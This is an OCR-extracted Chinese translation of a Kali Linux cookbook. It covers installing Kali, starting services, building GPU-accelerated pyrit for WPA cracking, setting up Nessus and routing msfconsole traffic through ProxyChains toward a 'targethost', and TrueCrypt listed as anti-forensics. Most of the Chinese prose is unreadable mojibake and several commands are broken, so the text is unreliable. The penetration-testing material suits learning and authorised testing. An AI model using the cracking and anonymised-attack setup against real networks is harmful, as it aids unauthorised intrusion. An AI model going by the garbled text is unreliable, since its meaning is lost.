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Boot menu
Live (686-pae)
Live (686-pae failsafe)

Live (forensic mode)
Install

Install with speech synthesis

Press ENTER to boot or TAB to edit a menu entry

#FIEFT o X EZRN%F English (3&E) o

Select a language

Choose the language to be used for the installation process. The selected language will also be the
default language for the installed system.

Language:

Chinese (Simplified) - &g (]
Chinese (Traditional) - FRs(gEE)

Croatian - Hrvatski

Czech - Cestina i
Danish - Dansk |
Dutch - Nederlands ‘ |
Dzongkha - Em

English . Engsh |
Esperanto - Esperanto

Estonian - Eesti

Finnish - Suomi

French - Francais

Galician - Galego

Georgian - dotmgen

German - Deutsch

fRraak o Flhnomair -."'.

Screenshot Go Back |. Continue



3. ®FRILE o XEKRNEF united states (£H) o

Select your location

The selected location will be used to set your time zone and also for example to help select the system
locale. Normally this should be the country where you live.

This is a shortlist of locations based on the language you selected. Choose "other" if your location is not
listed.

Country, territory or area:

Canada -
Hong Kong

India

Ireland

New Zealand

Nigeria

Philippines

Singapore

South Africa

United Kingdom

Zambia

Zimbabwe

other

| Screenshot
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Configure the keyboard

Keymap to use:

American English E:

Albanian

Arabic

Asturian

Bangladesh
Belarusian

Bengali

Belgian

Bosnian

Brazilian

British English
Bulgarian

Bulgarian (phonetic layout)
Canadian French
Canadian Multilingual
Catalan

Chinese

Croatian

Screenshot
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Configure the network

Please enter the hostname for this system.

Go Back

[ Continue

The hostname is a single word that identifies your system to the network. If you don't know what your
hostname should be, consult your network administrator. If you are setting up your own home network,

you can make something up here.

Hostname:

[kai

[ Screenshot.
S

6. T > KA1EFZMAREL o XZEZRATM A kali.secureworks. com ©

Go Back

Continue



Configure the network

The domain name is the part of your Internet address to the right of your host name. It is often
something that ends in .com, .net, .edu, or .org. If you are setting up a home network, you can make
something up, but make sure you use the same domain name on all your computers.

Domain name:

kali.secureworks.com|

Screenshot Go Back | continue
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Set up users and passwords

You need to set a password for 'root’, the system administrative account. A malicious or unqualified user
with root access can have disastrous results, so you should take care to choose a root password that is
not easy to guess. It should not be a word found in dictionaries, or a word that could be easily
associated with you.

A good password will contain a mixture of letters, numbers and punctuation and should be changed at
regular intervals.

The root user should not have an empty password. If you leave this empty, the root account will be
disabled and the system's initial user account will be given the power to become root using the "sudo"
command.

Note that you will not be able to see the password as you type it.

Root password:
(i

Please enter the same root password again to verify that you have typed it correctly.
Re-enter password to verify:

Screenshot Go Back | continue
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Configure the clock

If the desired time zone is not listed, then please go back to the step "Choose language" and select a
country that uses the desired time zone (the country where you live or are located).
Select your time zone:

Central
Mountain
Pacific
Alaska
Hawaii
Arizona
East Indiana

Samoa

| Screenshot

Go Back | Continue |

9 HAMMAETARBHESR TN c oA WANLIR o %4F cuided - use entire disk *
TRETHRYR

Partition disks

The installer can guide you through partitioning a disk (using different standard schemes) or, if you

prefer, you can do it manually. With guided partitioning you will still have a chance later to review and
customise the results.

If you choose guided partitioning for an entire disk, you will next be asked which disk should be used.
Partitioning method:

Guided - use entire disk

Guided - use entire disk and set up LVM

Guided - use entire disk and set up encrypted LVM
Manual

Screenshot
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Partition disks

Note that all data on the disk you select will be erased, but not before you have confirmed that you
really want to make the changes.

Select disk to partition:

SCS13(0,0,0) (sda) - 17.2 GB ATA VBOX HARDDISK

| Screenshot Go Back | continue |
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Partition disks

Selected for partitioning:
SCSI3 (0,0,0) (sda) - ATA VBOX HARDDISK: 17.2 GB

The disk can be partitioned using one of several different schemes. If you are unsure, choose the first
one.

Partitioning scheme:

All files in one partition (recommended for new users)

Separate /home partition

Separate /home, /usr, /var, and ftmp partitions

| Screenshot Go Back | Continue :
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Partition disks

If you continue, the changes listed below will be written to the disks. Otherwise, you will be able to make
further changes manually.

The partition tables of the following devices are changed
SCSI3 (0,0,0) (sda)

The following partitions are going to be formatted:
partition #1 of SCSI3 (0,0,0) (sda) as extd
partition #5 of 5CSI3 (0,0,0) (sda) as swap

nWrite the changes to disks?

Screenshot

13. T >

11 4F ves 2 )& B+ continue (%) o

Configure the package manager

| Continue .

A network mirror can be used to supplement the software that is included on the CD-ROM. This may also

make newer versions of software available.

Use a netwerk mirror?

) No

Screenshot
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Configure the package manager

If you need to use a HTTP proxy to access the outside world, enter the proxy information here.
Otherwise, leave this blank.

The proxy information should be given in the standard form of "http://[[user]ll:passl@lhost[:port].
HTTP praxy information (blark for none):
[

Screenshot
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15. %6 » hoWigF k22 GRUBE # £ 5 £5] %12% (MBR) F o #4% ves 25 &
# continue (4k%4:) o

Install the GRUB boot loader on a hard disk

It seems that this new installation is the only operating system on this computer. If so, it should be safe
to install the GRUB boot loader to the master boot record of your first hard drive.

Warning: If the installer failed to detect another operating system that is present on your computer,

modifying the master boot record will make that operating system temporarily unbootable, though GRUB
can be manually configured later to boot it.

Install the GRUB boot loader to the master boot record?

) No

Screenshot [ Go Back | Continue
| 3 ——

16. PLERIA 7ok T Kali Linux® 2% | & continue * A4S TR HETEEXF®m -

Finish the installation

Installation complete
@ Installation is complete, so it is time to boot into your new system. Make sure to remove the

installation media (CD-ROM, floppies), so that you boot into the new system rather than
restarting the installation.

Screenshot-

Go Back | Continue
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e Kali Linux ISO4%4% °

e Win32 Disk Imager °

o MR VINIL LT HKKali o

BAF R
1k & A1 46 #HKali Linux 2 £ 2|U % :
1. AR KB TEAHUE :
4 Devices with Removable Storage (3)

@ DVD RW Drive (D) 0 BD-ROM Drive (F)
== =

PEMDRIVE (H:]

SN 715 G free of 718 GB

2. 2 % Win32 Disk Imager °

3. E#FHH ZFA L > ®#FKali Linux DVD ISO%t #6942 &
[ %% Win32 Disk Imager = 8] ®
Image File Device

Copy | [[] MD5 Hash:
Progress
Version: 0.9 Cancel Read Write Exit
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4, Eﬁﬁi Space used to preserve files across reboots (Iﬂﬂ—'ﬁ:)@ i)’]“Fﬁ':ﬁ- ‘If&t‘%"}’m) "
B 714096 °

vt )

77 UNethootin =

| Distribution == 5Select Distribution == v] |== Select Version == - |

Welcome to UNetbootin, the Universal Metboot Installer. Usage:

1 Select a distribution and version to download from the list above, or manually specify files to
load below.
2 Select an installation type, and press OK to beqin installing.

@ Diskimage |15C v | D:\alidinux-1.0.3-386.is0

Space used to preserve files across reboots (Ubuntuonly): [4096 = MB

Type: lUSB Drive - | Drrive: | v| l K ] l Cancel ]

5. #HFRMNGUE > F EFOKERARFBEETREHHUE :

1. SEMREHEHDVDH LHEUR » L& % £ bootloaderi » X /i 42 458 — 2B 4] 5k 7,

o

2

2. REZMZE > RATHRT A E R whs > AFr el & 89Kali Linux UR A XA B kB o
T

o

1, Downlyading Files (Done)

2, Extracting and Copying Files (Done)

3. Installng Bootoader (Done)

4. Installation Complete, Reboot (Current)

After rebooting, select the LSE boot option in the 3105 boot menu,
Reboot now?

| Feboat Mow || Exit
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e Kali Linux ISO 41489 &| A o ART vl 42 X T T4 o

BAE T &
1k & A1 42 VirtualBox ¥ & ¥ Kali Linux :

1. #47VirtualBox °* E & New (FTRE) XBHBEMMNEF :

Oracle VM VirtualBox Manager

-;__} Details Snapshots
Start Discard

Welcome to VirtualBox!

created any virtual machines yet.

at the top of the window.

You can press the F1 key to get instant help, or visit www, virtualbox. org for the latest
information and news.

2. B Next (T—) =48 » AR PAIL L AR » FHIFOSEA IR A
Linux 2 & F=Ubuntu (644%) 1EARRK o B Next 1R4E R4 .

5g Create Virtual Machine ?

Name and operating system

Flease choose a descriptive name for the new virtual machine
and select the type of operating system you intend to install
on it. The name you choose will be used throughout VirtualBox
to identify this machine.

Name: |Kali Linux|

Type: |Linux LJ 'ﬁ"éﬁi
Version: |Ubuntu (54 bit) [

Hide Description < Back Mext = Cancel

In order to create a new virtual machine, press the Mew button in the main tool bar located 7

The left part of this window iz a list of all virtud machines an your computer. The list is empty noLr\ because you haven't

o X E KA %


https://www.virtualbox.org/wiki/Downloads
http://www. Kali.org/downloads/

3. HHEHSREREDAGERASL (RAM) 8954 o KAV FAL A KIAE > B Next ©
4. AFOE DRI EHGEPAE L > BF Next 4 o
! 5g Create Virtual Machine ?

Hard drive

If you wish you can add a virtual hard drive to the new
machine, You can either create a new hard drive file or select
one from the list or from another location using the folder

icon,

If you need a more complex storage set-up you can skip this
step and make the changes to the machine settings once the

machine is created,

The recommended size of the hard drive iz 8.00 GB.

" Do not add a virtual hard drive

{* Create a virtual hard drive now

{7 Use an existing virtual hard drive file

Empty =

= Back | Create Cancel |

5, =M@ E ol F  RYFANVDIIHER » AARNART 2 AL E
AL AF o
6. BRIV RE B INEFAEA RPN L GG FEE o S5 Next REL

7. % E R b S SR A A K]



8. BEXERTLGIEH » 2 )5 5 create

9. ZMN¥LED

Ng

Create Virtual Hard Drive ?

File location and size

Please type the name of the new virtual hard drive file into the box below or
dick on the folder icon to select a different folder to create the file in.

| Kali Linux &

Select the size of the virtual hard drive in megabytes. This size is the limit on
the amount of file data that a virtual machine will be able to store on the hard
drive,

4.00 MB 2.00TB

< Back | Create Cancel

16|00 GB

.Eile Machine Help

Mew

Settings

Start

N2

2l

WG S 0 BHBEPAARIPER o B F create AL R :

Mame: Kali Linux
Operating System:  Ubuntu (54 bit)

System

Base Memory: 512 MEB
Boot Order: Floppy, CO/OVD-ROM, Had Disk
Acceleration:  VT-xfAMD-V, Nested Pagirg

Oracle VM VirtualBox Manager

(B12E) Fe4m sk FH46 % PAaE & TG o

- N

3:_:9 Detals (2 Snapshots

[E General E  preview

Display

Video Memary: 12MB
Remaote Desktop Server:  Disabled

@ Storage
Controller: IDE
IDE Secondary Master:  [CD/DVD] Empty

Controller: SATA
SATA Port 0; Kali Linux. wdi (vormal, 16,00 GB)

2 Audio

Host Driver:  Windows DirectSound
Controller:  ICH AC37

® Hetwork
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11. #VirtualBox#) £ % 2 » 3 &zKali Linux » & & settings (% E) %48 :

5

' File Machine Help

= Ge

MName:
Operatin

& sv

Base Mer
Boot Ord
Accelerat

ARG ZETHERTRT » B EZ LB T HOISOLHEA T EMLE - LA
‘H—/é }%’kﬁh«@DVDQIJB‘“Eﬂ R ARENLE © J£ settings Fe®@ P » EF storage (G
)

i Kali Linux - Settings
Storage
Storage Tree Attribu
@ Contraler: IDE coy
@ Controler: SATA Informi
Iﬂ Metwork :
i @ Kal Linux.vdi
@ Serial Ports
¥ UsB
A1
Iﬁ Sharzd Folders
13. T—% » /& storage Tree (GHEMBE) T 5% empty (%) ERF > €

A& 1DE controller (IDE#E#I%E) 89T @ o X P #4FKAT149 % $ACD/DVD ROMIEEH & o
HERFEGFAED » £ Attributes KT » AEXAEE L o & L@ ey E L FaiFk

) Choose a virtual CD/DVD disc file. (Kali Linux ISO CD/DVD#} & U #F) %5 »
KEMRISO o —BART R T & ‘kb*?‘% v m i OKdz4a o
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$—%F %A R FHKall

& Kali Linux - Settings 2
.@ General ‘ Storage ‘
System
Storage Tree Attributes
Displ
spay > Controller: IDE CD/DVD Drive: |IDE Secondary Master ;i O
« Storage :
B 9 [™ Live CD/DVD [P2] Choose a virtual CD/DVD disk file...
3 e @ Controller: SATA Informaticn Haost Drive 'E:'
Metwork ; Foris:
3 ik : ype: -
i Kali Linux, vdi 2 i Vi v
@ Serial Ports @ S — 44 Remove disk from virtual drive
ﬁ Use Location: -
Attached To: -
[l Shared Folders
maﬁm Q@Wﬂwﬂr.&tmmbﬁmﬁsﬂemmveﬂrm OVEr 3 sefings
i get more infarmation.
oK | Cancel | Help |

14, 5 &Start (F4) 4 L E LA HFLONFHEORBATRE - REFBAIAT LA
¥T o

2% VirtualBox ¥ & &40 4,7 &A1 1 iR AUSB2.0 (EHCI) -~ VirtualBox RDP#=
Intel PXE boot ROM &) ¥ #F » k47 & & PbLeg o 48 o

1.4 %% VMware Tools

RTAFLEE P s K14 KT T4 A VMware Tools § Kali Linux2e £ /2 & B o
A&

FRHATIER

o 2% ¥ 4F89Kali Linux VMware & P o
o M%iEiE o

PRAE B

1k Z AT 45 5 Kali Linux % % %] VMware L :

1. ARG BN T EREAAAEEIN LK » ZJG3TH Terminal (&%) H o> #
BT 744k &4 TR

prepare-kernel-sources

2 4 AB AR AR A% A Linux 2k #Mac OS ° 1R R & £ Windows T #uAT €41 °
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N

T
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2. Z£VMware Workstaion#y % %4 £ » 45 5] vm | Install vMware Tools..

Tabs Help
(1) Power k

Removable Devices F

Pause Ctrl+ Shift+P

Send Ctrl+Alt+Del
Grab Input Ctri+G

51 Snapshot F
Capture Screen Ctrl+Alt+Prt5cn

Capture Movie...

&~ Manage L
Install Yiware Tools...

G Settings... Ctrl+D
3. ¥VMware ToolsZ XK TEAZ 42| B X T » LEF S ER A BIRE % ¢

cp /media/VMware\ Tools/VMwareTools-8.8.2-590212.tar.gz /tmp/; cd /tmp

HIEAR 89V Mware Toolsk % 4 L% © vMwareTools-<version>-<build>.tar.gz °

18 VAT 4R 2%

>

tar zxpf VMwareTools-8.8.2-590212.tar.gz

5. # AVMware Tools# B &P » X g EITHE LT E @

cd vmware-tools-distrib/
./vmware-install.pl

 BTOEAREZHEANRE R GKIAME 5 vmware-config-tools.pl B AR E o

(o2}

7. REER AR » THEHART o

I AE)R 3
EHE—FF KIVEEE THSTR - 25 » K465 £ A AIBAT B E VMware

Tools CD ° #4& » &AGIZTHER > FHEREMCD - KNAGH B ZFEHRHFBRET X
IR ZRERMNREGRINREREITRELEL o
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A “muts” » Kali Linux# 4l #%) % 5 & 8 #hitbashby A X FETH R o

BRAE ¥ B

HNT 2|4 Big TR R4 R15 80 K698 3

h=)
1‘_5\

fix-splash

B 7h W %R %

K%Umxé%?%ﬁﬂ%%k’EME%%%%TW%&?H’%Eﬁﬁ%%m%034%
B EMNAETERIAT SR FERERRAFNREG TR o

%
FERHATI R RA%Y:
o BAAKIPHIL Y R %k o

B B
LRV R HBRIIR S -
1. & #Apache/R % % :

service apache2 start

KRATTAB LR A R B ER G B ZETITH o

2. ATRB#HSSHR% » &R EFZEMRSSHEA :
sshd-generate
3. B#HSSHR % & :

service ssh start

4. 1£ A netstat FAKRBIERE B LGB FEL K



netstat -tpan | grep 22
5. B#HFTPIR% 3 :
service pure-ftpd start

6. A T4 kBIEFTPIRE S ¢

netstat -ant | grep 21

RALFT VAL ) ps-ef | grep 21 4 °

7. AT 44 kAFEIR S

service <servicename> stop

H P <servicename> RE KRN A L2 LG M %R 5 > 94 -

service apache2 stop

8. A TSR IE B RARS :

update-rc.d -f <servicename> defaults

HF <servicename> REAATH B FHe9 M B R % » P4 :

update-rc.d -f ssh defaults

fﬁi)&ﬁﬁlﬁKali Linux‘?’ifiii Services < ﬂ}i%) ;?‘:W‘fkgﬁﬁrg o )\ start (—)};’zé)

-A)i‘ f' . N ~ R ) .
X% 45 0 5 1F] Kali Linux | Services °©

1.7 X E LM%

G BRATKB TR —FHRE ML - IMBT > KNS TRELLERITHEEN
235 37 ¥ » 3 X Wicd Network Managerfe 2 £ e % 69 ta ¥ o R &M % 69% B A RATAL
.77 R A% A Kali Linux ° /£ & 85 ~ &-FEEGS5ERRAT » A TATRB T R &M E &3
RAMATARE o
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1. NE @R HMBEEE » @i K& applications (M) EFEHFH5

] Internet | wicd Network Manager °*® X HEAELKHE P FHRANT I w4 @

wicd-gtk --no-tray

2. Wicd Network Manager&-41 7+ » ## A 7T Bl M %69 5] & :

Choose from the networks below:

GetAway 64% WPA Channel 11
[ Automatically connect to this network

-.' |Eunnect| |Pmperties

Mot connected

3. & properties (&) X ZEMBM@Y o TMZE &FHOK °
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4. )G > B connect (&) %42 HWART °

IERE
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#1L : CC BY-NC-SA 4.0

B’ —F A @A 2BKalitd T4 > A2 TR EAFHA B o KA H REIATIA K GPUL AR 89
R E ARG EFE T EHHITE o XTATIH %45k GPUM & F A &A1 A €101
IE Ba®E 1L (GPU) z’%iiuﬁ"ﬁCPU%‘M*?FHé’J#M’F #A14 vAProxyChains# % % F= 4k
12 Bty B k4 RX

2.1 & A%k A

H o RAVE BAL BT E 0 ALk XA R B E KA o MAZ Sk B ZLinux A AZ 89 TR STAE o 3K /NHb
B RNAMBESAM KBGO T 2T REEA -

RAE T
TR AT 48 & WAL K A
1. BB LA IATT I G AHA R RATRAEA 4 :

apt-get update


https://github.com/
http://creativecommons.org/licenses/by-nc-sa/4.0/

n-en_US
n-en

2. T BMNFEZHKRIEM apt-get RAEF MK » AT T 7|94

apt-get install linux-headers - ‘uname -r°

get install linux-headers- uname -r°
lists... Done

cy tree

in TI ] r"rna’r ion.

3 newly installed, © 4o remove and 114 not dpgraded.
4, ﬁ48 PB of archives-
er 9.8 MB of additional disk space will be used.

3. EHTH B ZARLPARARE

cd /usr/src/linux
cp -rf include/generated/* include/linux/

4. HMIMA OB G HRIF TR RNZ K R -

2.2 %% Broadcom IR 7

JEXAFLEE P » £A419% 2% Broadcom B 7 #9Linuxit& L A&IE 3 o 4 A Broadcom £ %4,
USBiE fic & T Ak KA1 £ Kali L #E & A189 R AUSB#EA L o st TR ARFHGHE 2HE » KIR
% Broadcom £ &R FH LR LE o



&
TREANFEE FEELM % ERE -
RAE T B

1L &A1 745 2% ¥ Broadcom 3z # :

1. AT %35 % 0 » Khttp://www.broadcom.com/support/802.11/linux_sta.phpF & &1 £9
Broadcom IR 3 :

cd /tmp/
wget http://www.broadcom.com/docs/linux_sta/hybrid-portsrc_ x86_64-v5_100_82_112.t
ar.gz

1,175,410 778K/s  in 1.5s

42:19 (778 KB/s) - “hybrid-portsrc x86 64-v5 100 82 112.tar.gz' saved [1175410/1175410]

:/tmp# ]

2. AT P44 MRETRGIRS :

mkdir broadcom
tar xvfz hybrid-portsrc_x86_64-v5_100_82_112.tar.gz -C /tmp/ broadcom

3. 57 wl _cfgsez2i1.c XA ®T5.100.82.1120& A& F A Abug » & FLIE N T2.6.39 A Hihk
AL RE

vim /tmp/broadcom/src/wl/sys/wl_cfg86211.c

R AR B 69181447

#if LINUX_VERSION_CODE > KERNEL_VERSION(2, 6, 39)

BEEA

#if LINUX_VERSION_CODE >= KERNEL_VERSION(2, 6, 39)

FRABE R -


http://www.broadcom.com/support/802.11/linux_sta.php

4. RIFNRA :

make clean
make
make install

5. EHMRHM :
depmod -a

6. BT 7|4 IE Ao R AR
1smod | grep b43\|ssb\|bcma

7. B PATT 7] 44 R RIS
rmmod <module>b43
;Q‘F <module> A2 7 b43 ™ ssb ﬁi bcma °
8. Wik ANLLE s L BNERAE S T Ik
echo "blacklist <module>" >> /etc/modprobe.d/blacklist.conf
;Q‘F <module> A2 7 b43 ™ ssb ﬁi wl °
9. B KRN MEILINUXAZT » RIECRA B HHARG—H Y

modprobe wl

2.3 KX A B B ATIZ F IR 3)

BT » KN F @A BATIZ FRHGREFBRE » £ LA F ZAMD Accelerated
Parallel Processing (APP) SDK ~ OepnCLA#CAL++ o &A1 v4F] Al ATI Streamai A 694k % &
BT EREAMES - EMAF EBITECPUL - 42 €41 2 4 & 320047 © £ % ATI Stream
A A X b91¥ @iz & » F 35 Flwww.amd.com/stream e

%

FEMBEFRTRZIANLSE o INEFBINBEINTEESARKIE  CEF—
H BT R o



e B
LBV % K Ao B EATIIR ) -

1. TRALAEQATIZ TR ¢

cd /tmp/
wget http://www2.ati.com/drivers/linux/amd-driver-installer-121-x86.x86_64.run

KAV T VLT @ ey M Ak T 8 2733 : http://support.
amd.com/us/gpudownload/Pages/index.aspx °

106,085

.run' saved []

sh amd-driver-installer-12-1-x86.x86_64.run


http://support. amd.com/us/gpudownload/Pages/index.aspx

* AMD Catalyst(TM) Proprietary Driver 8.93 Setup

Options
~ Install Driver 8.93 on X.Org 6.9 or later 64-bit

~ Generate Distribution Specific Driver Package

LEZREARZIGE » CRIRG AL KGR T A FERBELTHRE
A Z G 0 B R — AR

apt-get install libroot-python-dev libboost-python-dev libboost1.40-all-dev cmake

T £t ## /£ AMD APP SDK > RIEIRECPURAE :

wget http://developer.amd.com/Downloads/AMD-APP-SDK-v2.6-1nx64.tgz
mkdir AMD-APP-SDK-v2.6-1nx64

tar zxvf AMD-APP-SDK-v2.6-1nx64.tgz -C /tmp/AMD-APP-SDK-v2.6-1nx64
cd AMD-APP-SDK-v2.6-1nx64

i it T 7] 442 £ AMD APP SDK :

sh Install-AMD-APP.sh

£ .bashsrc X % & AT| Stream %42 :

echo export ATISTREAMSDKROOT=/o0pt/AMDAPP/ >> ~/.bashrc
source ~/.bashrc



8. 7:§i?%%%i§ calpp

cd /tmp/

svn co https://calpp.svn.sourceforge.net/svnroot/calpp calpp
cd calpp/trunk

cmake .

make

make install

9. THRIH%IF pyrit

cd /tmp/

svn co http://pyrit.googlecode.com/svn/trunk/ pyrit_src
cd pyrit_src/pyrit

python setup.py build

python setup.py install

10. W& H KX OpenCL :

cd /tmp/pyrit_src/cpyrit_opencl
python setup.py build
python setup.py install\

11. 2f cpyrit_calpp #9%K EM— M52

cd /tmp/pyrit_source/cpyrit_calpp
vi setup.py

RETERX—7:
VERSION = '0.4.0-dev'
fe g Ak,
VERSION = '0.4.1-dev'
Z )G RET@E—AT :
CALPP_INC_DIRS.append(os.path.join(CALPP_INC_DIR, 'include'))
fe e B,

CALPP_INC_DIRS.append(os.path.join(CALPP_INC_DIR, 'include/CAL"))

12. 35 ¥ ATI GPUAL 3R e Bl pyrit -



python setup.py build
python setup.py install

~

2.4 ZRAEE iRk L FIRF

BAMEEF » A1 IMIBCUDA » ahik ey 4T H AR - ACUDAL LA G X 2 )G B
LR F AR AREL TR c B AGPUM R » X&FH Kkt EMARBI RS €
138 % B T — 2 KL R AL By AR 69 3 & o

i1 89 B 77 M sk
A&
FEM B EHE R TRIZ AN o

Flod &HREABIMEESARIIH  REZ—TFTFARGA -

AT RREAZRFHYRE > FEXHAXEE o

BAYET %
LB E A B B B K D FIRF ¢
1. TREGEXALFE LTI » RIBIRGCPUEHN :

cd /tmp/
wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/ drivers/NVIDIA-Lin
ux-x86_64-285.05.33.run

eta 4m 16s



http://www.nvidia.com/object/cuda_home_new.html

2. BRI :

chmod +x NVIDIA-Linux-x86_64-285.05.33.run
./NVIDIA-Linux-x86_64-285.05.33.run -kernel-source-path="'/usr/src/ linux'

3. T#HCUDALE & :

wget http://developer.download.nvidia.com/compute/cuda/4_1/rel/ toolkit/cudatoolki
t_4.1.28_linux_64_ubuntull.04.run

4. X CUDAL A &% /opt

chmod +x cudatoolkit_4.1.28_linux_64_ubuntull.04.run
./cudatoolkit_4.1.28_linux_64_ubuntull.04.runConfigure the environment variables r
equired for nvcc to work:

echo PATH=$PATH:/opt/cuda/bin >> ~/.bashrc

echo LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/opt/cuda/lib >> ~/.bashrc

echo export PATH >> ~/.bashrc

echo export LD_LIBRARY_PATH >> ~/.bashrc

5. BATAT oA R T EFA

<3
o

source ~/.bashrc
ldconfig

6. ®X pyrit BYIRH :

apt-get install libssl-dev python-dev python-scapy

7. THHAZEGPUN¥KLEL pyrit

svn co http://pyrit.googlecode.com/svn/trunk/ pyrit_src
cd pyrit_src/pyrit

python setup.py build

python setup.py install

8. F o ¥4 Ktk GPURMIAMIE pyrit

cd /tmp/pyrit_src/cpyrit_cuda
python setup.py
build python setup.py install



A THUE nvee £ HEHEE » RNEZHENT 7|44
nvcc -V
A THTHY » RNMAEREANTH S

pyrit benchmark

2.5 FF % An e B oy A T B
IAHE S s MR BKali o ABREE —LHIIY TR T BT fafbss
T+ o &1 TKalit) L2 & A Z R & R % » RARRR AR LAZ AT £ 5 4DVD T T #

ﬁ%éﬁJLEL XBRBET — 27T E o RANVSAFHL KA » 25 R1FNessushy g 7E45 » 3
ZESquidk & R °

B B

LR BT » AR B BRI ZATL o

1. AR & RAT 5 BOR £ AT AR B %5

apt-get update

2. A G,

apt-get upgrade

3. FaBmFRA (R TR E)

apt-get dist-upgrade

4. RIFNessushty g it » i@t £ X TIiEA o

5. W@ AT T 7|44 k% FNessus :

/opt/nessus/bin/nessus-fetch --register ABOF-XXXX-XXXX-XXXX-0006

H P ABOF - XXXX-XXXX-XXXX-0006 &L A 1R 69 8L & o

6. #Nessus WebF@ 4| 2% P :


http://www.nessus.org/ products/nessus/nessus-plugins/obtain-an-activation-code

/opt/nessus/shin/nessus-adduser

7. AT R #HNessuslk % % » RATRFZHATT 2|44 ¢
/etc/init.d/nessusd start

8. & %Squid :
apt-get install squid3

9. FE.ESquidz B #hBf B 5 & 4T :
update-rc.d -f squid3 remove

AT ESCEFTRIFTHE > BAITYLE apt-get update Z/&E1E A T 7|44 :

apt-cache search <keyword>

H <keyword> & 0L AR R E M A A o

2.6 %z & ProxyChains

BAZTFF > KNEBAB T2 AOREEZERAR P LRI Z > RITHEZH R
HAZ A 6 B

BAE ¥ B
1. 47 7FProxyChains 9 fic & U4 :

vim /etc/proxychains.conf

2. FRTREMNAT AL R 69 ak 3 XA 6 > X ZZ dynamic_chain



hains. f VER 3.1
HTTP, S0CKS4, SOCKSE tunneling proxifier with DNS.
The option
..rﬂ \I.r ||["||—l on s i mented at tlITI'.:!_.
Wise ) ption will be ac
ynamic_chain

Dynamic

] EIHTP is returned to the app

tion will be done via chained prox
in the ot Yy appear in the
a2 online play in chain
s returned to the app

random p
2 list.

3. QI ERFR—ERERSEE



ist format
type host port [user pass]
(values separated by 'tab' or 'blank')

Examples:

lan
8080

- INSERT .-

4. A% R &AT 84k XA R ARAT B AR AL

proxyresolv www.targethost.com

5. AT VAL &AVAT FAL A 89 2 B £ 12 47 ProxyChains * #l4= msfconsole

proxychains msfconsole

B —F e — MR X TS BIEA o A1 4% M TrueCryptill i 25 41 Kk i & A0 A2 28 09 2
FAZE 0 i B A IRER o

1. WG

9] Applications Menu | Kali | Forensics | Digital Anti Forensics | install truecrypt

%% K TrueCrypt ©



Truetrupt 7.1a Setup

TrueCrypt iz a software systen for establishing and maintaining an
on—-the-fly-encrypted volume {(data storage device), On-the-fly encryption
neans that data are automatically encrypted or decrypted right before they
are loaded or saved, without any user intervention, Ho data stored on an
encrypted volume can be read {decrypted} without using the correct
passuword/keyfile{s} or correct encryption keyz, Entire file systen is
encrypted {e.g,., file nanes, folder nanes, contents of every file,

free space, mneta data, etcl,

Pleaze select one of the below options:

|EHitI|EHtFaCt .tar Package File]lInstall TrueEruptI

X Install Truecrypt (®XTrueCrypt) 7+ HEERHR L6948 % -

2. X Applications Menu | Kali Linux | Forensics | Digital Anti Forensics | truecrypt iz

#7TrueCrypt > R 2 F B TEHE O :

Volumes Favontes Tools

Slot  Volume Size Mount Directory Type

[ 1
<o 2 “
.“'3

< 4

| 5
6
e T
|<= 8
[ O
| 10
< 11
g 12 v

| Create Volume | ' e Propertie | | fine = ]

Volume
| | | | Select File... |
& Never save history | Volume Tools... il Select Device... |
‘ Mount ‘ |AutD-MDunt Deuices| | Dismount All | | Exit |

3. A1 create volume (##E %) kB3 Truecrypt Volume Creation wizard (TrueCrypt#
Hiens) -

4. BREGHKINELTRHF B H Next ©



5. 4% standard Truecrypt (4=AETrueCrypt) X & F Next ©

6. & select File. (ILFM) =4 A # 89TrueCrypttdls T & Hfn i iz o TG &

7.

# save (FRE) °

Volume Location

\ | = | |selectFile..

Never save history

E Specify a New TrueCrypt Volume - pt container),
' etc. A

be, for
'Select File'

Name: [Crypt\r'olum:-:- ]

Save in folder: | = root

+| Browse for other folders

to create now.

| Help | | <Prev || Nexts | Cancel

B Next 4%4RFFEAFAT FAE R 8 ho B Feoh A Bk o

8 ETARAY » KNEABREHAENLE o

9. MAERMNEEZARNEMENTEH o EH Next ©

10

11

12

13

14

1

16.

o

L BBELHALEH -
. ¥ % %3F cross-Platform Support (E}?‘%é )}L%) °

CAETARERT St BNEGTORASFHRAT » ke BRANBRERE - TR)E
& #F Format (KR Ab) %42 -

L AE KA LRI TrueCrypté BHAI S T o 5T o H exic (B) -
. MA@ 3 TrupCrypt® & o

M) & FIF—A slot (1) RBEENME > B select File. (ZIFXH) - #
RN EG A o

B mount () FHEAENGORE » TjE EF ok °



Ky — Sz

% — % & 4] Kali Linux

Slot  Volume Size Mount Directory Type
s F B N
a2 '
s 3
e 4
e 5
Sl * Enter password for "/root/CryptVolume"” |
i 7 :
w8 | Password: (eeeeeeee| | oK
e 9 .

- 10 [ Cache passwords and keyfiles in memory Cancel
s 11 [ Display password
e 12 : =
[ Use keyfiles | Keyfiles... | | Options > | e
| Create Volume | ['-Jr.i-_ufn-:- Properties | | Wipe Cache ]
Volume
E | froot/Cryptvolume | v | | SelectFile.. |
Never save history | Volume Tools... | | Select Device... |
‘ Mount ‘ ‘Autnrl'u’l ount Devices ‘ ‘ Dismount All ‘ ‘ Exit ‘

17. BNMALETAAL AR EXHFRATHERE ZTRTREE > ARLE Z@REG T o % &N
Tz )G » R EE A& pismount ALl (FRMRBATAHER) o

I AE)R 3

BAFAEF » ZABEE T Truecrypt * RIZ TR A LBEHATE - AN TR £ZER
el A oy e i

40



B =T 5% MR IR

14 : Willie L. Pritchett, David De Smet
FEH A

7L : CC BY-NC-SA 4.0

fa >

BARNCLZTMT KaliLinux FTE4H T A > LAERNZRAE—REFTHRGHT - KN
1T % SR AVE AR RR G RF R A% ERAT - 128 0 SR4E A Kali i —4 & 40t o
AT A2 RAT L AT e MR -F EAAHEZA G o

B—F P EMNERE LW » k@ ak— BB FZHMNRIRT - £ L8917 4 &ﬁm%
b SHENHEN TSRS (PAAS) Mam % IR % im,X%&mJﬂn%
Mo 2d ~REZERHRE (&) XGTKEFRBEHGELEKR - Ki147E %%a’z
Je st e R ALK & o

HAVHTA Fk 69 B 6948 Z R root & A 8917 4]

3.1 # & VirtualBox

EH—% (XA EBFHKali) F > KMNEEE S T VirtualBox 897 % » 12 T & EPIRFEF 2K
Kali Linux ° VirtualBox & Oracle #93A = & » SF B A AT T A% L o wilid
BIEEMITFEATREAAREH BT  c INTERELETE » T ARSI MK Kali
Linux %5 -

